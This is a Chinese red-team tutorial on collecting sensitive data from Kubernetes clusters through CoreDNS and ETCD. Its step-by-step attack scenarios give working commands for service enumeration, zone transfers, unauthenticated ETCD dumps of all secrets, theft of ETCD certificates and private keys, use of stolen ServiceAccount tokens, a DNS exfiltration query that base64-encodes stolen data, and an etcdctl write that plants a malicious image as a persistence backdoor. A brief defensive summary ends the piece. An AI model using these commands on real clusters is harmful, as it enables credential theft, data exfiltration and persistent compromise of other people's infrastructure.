红队视角出发的k8s敏感信息收集——服务发现与 DNS 探测
在 Kubernetes 集群中,CoreDNS 和 ETCD 是服务发现的核心组件,攻击者可通过它们快速获取集群内部的服务拓扑信息。
CoreDNS 记录探测
CoreDNS 是 Kubernetes 默认的 DNS 服务,负责解析集群内部服务域名(如 *.svc.cluster.local)。攻击者可通过以下方式收集服务信息:
DNS 查询枚举服务
基础查询
在Kubernetes集群中,DNS服务扮演着至关重要的角色,它不仅负责服务发现,还可以被利用来枚举集群内的服务和命名空间,DNS查询通常用于发现其他服务(例如Web服务、数据库等),而不是像kubernetes API服务器或kube-dns这样的基础设施服务,下面将介绍如何使用dig或nslookup工具进行基础的DNS查询,以获取服务和命名空间的信息。
我们首先查看使用kubectl get namespaces命令。这将列出集群中所有的命名空间及其状态。
kubectl get namespaces
查询所有服务的基础记录
使用dig命令查询Kubernetes集群内部的所有HTTP服务,可以通过如下命令实现:
dig +short srv _http._tcp.svc.cluster.local
此命令尝试解析_http._tcp.svc.cluster.local下的所有SRV记录,这些记录通常指向集群内不同命名空间中的服务。
假设你在default命名空间有一个名为myapp的服务监听在HTTP(80端口)上,那么正确的DNS查询应该类似于:
dig +short A myapp.default.svc.cluster.local
或者如果你关心IPv6地址的话:
dig +short AAAA myapp.default.svc.cluster.local
这将返回与myapp服务相关的集群内IP地址。如果确实需要查询SRV记录,且你知道该服务监听的具体协议和服务端口,可以调整查询如下:
# 假设服务是HTTP并且监听在80端口
dig +short SRV _http._tcp.myapp.default.svc.cluster.local
枚举特定命名空间下的服务
如果想要枚举特定命名空间(例如default)下的服务,可以修改查询为:
dig +short srv _http._tcp.default.svc.cluster.local
这条命令会返回default命名空间下所有HTTP服务的相关信息。这里的_http是服务协议的占位符,实际使用时可能需要根据具体的服务类型(如HTTPS、gRPC等)进行调整。
也可以直接使用kubectl命令行工具,而不是依赖于DNS查询。以下是使用kubectl枚举特定命名空间下所有服务的例子:
kubectl get services -n default
如果你想获取特定命名空间下所有服务的名称,并且希望每个名称单独成行,可以使用以下命令:
kubectl get services -n default -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}'
值得注意的是,上述示例中使用的_http._tcp部分应当根据实际部署的服务类型进行替换。此外,并非所有的服务都会公开SRV记录,因此查询结果可能会有所不同。在一些配置中,管理员可能会限制或自定义DNS记录的暴露方式,从而影响到这种枚举方法的有效性。
泛域名爆破
泛域名爆破是一种技术手段,通过这种方法可以尝试发现集群内所有可能的服务名称。这种方法对于了解集群内部结构和识别潜在攻击面具有重要意义。下面介绍如何使用工具如dnsrecon或直接利用Kubernetes的命令行工具kubectl来实现这一目标。
DNSRecon
DNSRecon是一个功能强大的DNS枚举工具,可以用来执行各种类型的DNS查询,包括区域传输(AXFR)等。尽管在现代配置中,区域传输通常被禁用以防止信息泄露,但测试这一点仍然是有价值的。 要使用dnsrecon尝试获取所有可能的服务名称,可以执行如下命令:
dnsrecon -d cluster.local -t axfr
这条命令尝试对cluster.local域执行区域传输,如果服务器配置允许的话,将会返回该域下的所有记录。
当使用dnsrecon或其他类似工具无法获得所需信息时,或者为了更直接地访问服务列表,可以直接使用kubectl命令行工具查询Kubernetes API。
使用 kubectl 获取所有服务名称
下面的命令将列出所有命名空间中的服务名称:
kubectl get services --all-namespaces -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}'
- kubectl get services: 请求获取当前集群中所有的服务。
- –all-namespaces: 指定查询范围覆盖所有命名空间,而不仅仅是指定的一个。
- -o jsonpath=‘{.items*.metadata.name}’: 使用jsonpath作为输出格式化器,从返回的JSON数据中提取每个服务的metadata.name字段。jsonpath表达式{.items*.metadata.name}会遍历所有服务项(即items),并提取它们的名字。
执行上述命令后,你将看到类似如下的输出,它列出了所有服务的名称:
kubernetes kube-dns myapp ...
这里,每一项代表一个服务的名称,这些名称对应于你在不同命名空间中部署的服务。
此命令通过调用Kubernetes API并使用jsonpath输出格式化器来提取并展示所有服务的元数据名称。这是一种非常有效的方法,用于快速获取集群中部署的所有服务的名称,无需依赖于DNS解析的结果。
这两种方法提供了不同的视角来探索和枚举Kubernetes集群内的服务。虽然dnsrecon提供了一种基于DNS的方式,可能揭示一些未公开通过API暴露的信息,但直接使用kubectl查询API是更加直接且高效的方法,特别是当你已经拥有适当的权限时。
解析 Pod 的 DNS 记录
每个 Pod 的 DNS 记录格式为 ..pod.cluster.local,攻击者可逆推 IP 获取 Pod 信息:
查看特定命名空间下的所有Pod及其IP地址,可以使用以下命令:
kubectl get pods -o wide
这里的-o wide选项提供了额外的信息,包括每个Pod的内部集群IP地址、所在的节点等信息。
执行上述命令后,你可能会看到类似如下的输出:
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
my-pod-1 1/1 Running 0 5m22s 10.244.1.4 worker-node1 <none> <none>
my-pod-2 1/1 Running 0 3m45s 10.244.2.5 worker-node2 <none> <none>
在这个输出中,IP列显示了每个Pod被分配的内部集群IP地址。
Kubernetes 为每个 Pod 分配了一个唯一的 DNS 名称,该名称通常遵循以下格式:
<pod-ip>.<namespace>.pod.cluster.local
在这个例子中,给定的 Pod IP 地址是 10.244.1.3。为了找出与这个 IP 地址关联的 DNS 名称,你可以执行如下命令:
dig -x 10.244.1.3 +short
这里 -x 参数用于指定进行逆向 DNS 查询(即从 IP 到域名),而 +short 参数确保输出简洁明了,仅返回查询的结果而非详细的DNS解析过程信息。
执行上述命令后,你可能会得到类似如下的结果:
10-244-1-3.default.pod.cluster.local
这表示 IP 地址为 10.244.1.3 的 Pod 在 default 命名空间内的完整 DNS 名称为 10-244-1-3.default.pod.cluster.local。
CoreDNS 配置泄露
若攻击者能够访问 CoreDNS 的配置文件(通常通过 ConfigMap 挂载),可获取转发规则、自定义域名等敏感配置:
kubectl get configmap coredns -n kube-system -o yaml
关键参数:forward 插件指向的外部 DNS、hosts 插件中的静态记录。
forward 插件用于将无法解析的查询转发给指定的外部DNS服务器。例如:
forward . /etc/resolv.conf {
forward to 8.8.8.8 8.8.4.4
}
这里的配置表示所有未被CoreDNS直接解析的查询都会被转发给Google的公共DNS服务器(8.8.8.8和8.8.4.4)。了解这些转发规则可以帮助攻击者识别出可能的外部依赖项或潜在的跳板。
hosts 插件允许管理员添加静态主机到IP地址的映射。这可用于覆盖默认的DNS行为或为特定主机名设置固定的IP地址。例如:
hosts {
10.0.0.1 myservice.local
fallthrough
}
上述配置示例说明了如何将myservice.local映射到内部IP地址10.0.0.1。这对于理解服务发现机制以及可能存在的重定向风险非常重要。
ETCD 记录提取
ETCD 是 Kubernetes 的后端数据库,存储所有集群状态数据。攻击者若直接访问 ETCD,可绕过 API Server 的权限控制。
直接连接 ETCD
ETCD 通常监听 2379(客户端)和 2380(节点通信)端口。攻击者可通过以下方式定位:
# 在 Pod 中扫描集群内部网络
nmap -p2379,2380 10.96.0.0/12
# 或检查 API Server 的启动参数
ps aux | grep etcd
使用 etcdctl 工具直接查询键值对(需证书或绕过认证)读取 ETCD 数据:
# 配置 ETCD 端点及证书(若存在)
export ETCDCTL_ENDPOINTS=https://10.96.0.1:2379
export ETCDCTL_CACERT=/path/to/ca.crt
export ETCDCTL_CERT=/path/to/client.crt
export ETCDCTL_KEY=/path/to/client.key
# 获取所有键
etcdctl get / --prefix --keys-only
# 查询特定服务的端点信息
etcdctl get /registry/services/endpoints/default/my-service
敏感数据提取
查看Secrets 和 ConfigMaps,ETCD 中存储的 Secrets 默认以 Base64 编码,但未加密:
etcdctl get /registry/secrets/default/my-secret
echo "encoded-data" | base64 -d
查看ServiceAccount Token,通过 Service 账户的 Token 路径提取 JWT:
etcdctl get /registry/serviceaccounts/default/my-serviceaccount
实战场景演示
CoreDNS 记录探测攻击场景示例
场景 1:内部已控 Pod 的服务发现
目标:通过已入侵的 Pod,利用 DNS 查询快速绘制集群内部服务拓扑。
攻击步骤:
1.获取 Pod Shell:通过容器逃逸或漏洞利用(如未修复的 CVE)获得 Pod 的 Shell 权限。
kubectl exec -it compromised-pod -- /bin/sh
2.枚举默认命名空间服务:使用 nslookup 或 dig 查询 CoreDNS 服务,列出所有服务。
# 查询所有服务的 SRV 记录
dig +short srv _http._tcp.svc.cluster.local
# 输出示例:
# 10 33 80 my-service.default.svc.cluster.local.
# 10 33 8080 another-service.default.svc.cluster.local.
3.泛域名爆破发现隐藏服务:利用通配符查询所有可能的子域,发现非默认命名空间的服务。
# 爆破所有可能的服务名称(需提前安装 dnsutils)
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
dig +short srv _http._tcp.$ns.svc.cluster.local
done
4.解析关键服务的 Pod IP:针对高价值服务(如 database-service)解析其 Pod IP。
dig +short database-service.default.svc.cluster.local
# 输出示例:10.244.1.5
5.反向 DNS 查询推断 Pod 信息:通过 Pod IP 反查 DNS 记录,获取 Pod 所属的命名空间和部署信息。
dig -x 10.244.1.5 +short
# 输出示例:10-244-1-5.default.pod.cluster.local
最终效果:攻击者获得完整的服务列表、Pod IP 和命名空间映射关系,为后续横向移动提供目标。
场景 2:外部攻击者利用暴露的 CoreDNS 服务
**目标:**当 CoreDNS 服务(UDP 53 端口)意外暴露到公网时,外部攻击者可利用此进行信息收集。
攻击步骤:
1.发现暴露的 CoreDNS 端点:通过 Shodan 或 Censys 搜索开放 UDP 53 端口的 IP,确认是否为 Kubernetes 集群 DNS。
nmap -sU -p53 192.168.1.100 --script=dns-service-discovery
2.泛域名查询获取服务列表:使用 dnsrecon 工具批量查询所有可能的服务记录。
dnsrecon -d cluster.local -t axfr -n 192.168.1.100
3.利用 DNS 隧道提取数据:如果集群内存在 DNS 隧道后门(如恶意 Pod 监听 DNS 请求),攻击者可通过构造特殊查询窃取数据。
dig @192.168.1.100 $(base64 -w0 stolen-data).exfil.cluster.local
ETCD 记录提取攻击场景示例
场景1:未启用 TLS 的 ETCD 服务
**目标:**攻击者通过未加密的 ETCD 连接直接读取集群敏感数据。
攻击步骤:
1.定位 ETCD 端点:在已控制的 Pod 中扫描集群内部网络,寻找开放 2379 端口的 IP。
nmap -p2379,2380 10.96.0.0/12
# 发现 ETCD 节点 IP:10.96.0.100
2.直接连接 ETCD 导出数据:使用 etcdctl 无需认证直接读取所有键值。
ETCDCTL_API=3 etcdctl --endpoints=http://10.96.0.100:2379 get / --prefix
**3.提取 Secrets 和 Token:**从 ETCD 数据中筛选敏感信息。
# 提取所有 Secrets
etcdctl get /registry/secrets --prefix
# 解码 Base64 数据
echo "ZXhhbXBsZS1zZWNyZXQ=" | base64 -d
**4.利用高权限 Token 横向移动:**使用窃取的 ServiceAccount Token 调用 Kubernetes API。
curl -k -H "Authorization: Bearer <stolen-token>" https://10.96.0.1:443/api/v1/namespaces/default/pods
**最终结果:**攻击者获取集群所有 Secrets,可直接控制 API Server。
场景2:Pod 挂载 ETCD 证书导致数据泄露
**目标:**利用挂载了 ETCD 证书的 Pod,伪造合法身份访问 ETCD。
攻击步骤:
**1.发现挂载 ETCD 证书的 Pod:**在已控制的 Pod 中搜索敏感目录挂载。
mount | grep '/etc/kubernetes/pki/etcd'
**2.窃取证书文件:**复制 ETCD 的 CA 证书、客户端证书和私钥。
cp /etc/kubernetes/pki/etcd/ca.crt .
cp /etc/kubernetes/pki/etcd/server.crt .
cp /etc/kubernetes/pki/etcd/server.key .
**3.认证访问 ETCD:**使用证书连接 ETCD 并导出数据。
ETCDCTL_API=3 etcdctl --endpoints=https://10.96.0.100:2379 \
--cacert=ca.crt --cert=server.crt --key=server.key \
get / --prefix
4.篡改集群配置持久化后门:修改 Deployment 或 DaemonSet 的镜像为恶意版本。
etcdctl put /registry/deployments/default/nginx-deployment '{"spec":{"template":{"spec":{"containers":[{"name":"nginx","image":"evil-image"}]}}}}'
**最终结果:**攻击者通过合法证书持久化控制集群。
总结
攻击者通过 CoreDNS 和 ETCD 的探测可快速获取集群的“地图”,而防御的核心在于:
- 最小化暴露面:禁止非必要端口(如 ETCD 2379)暴露,即使是内部网络。
- 零信任通信:强制 TLS 加密和双向认证,避免明文数据泄露。
- 敏感数据隔离:Secrets 应加密存储(如使用 Sealed Secrets),避免 ETCD 明文存储。
- 运行时监控:对 DNS 高频查询和 ETCD 异常访问实时告警。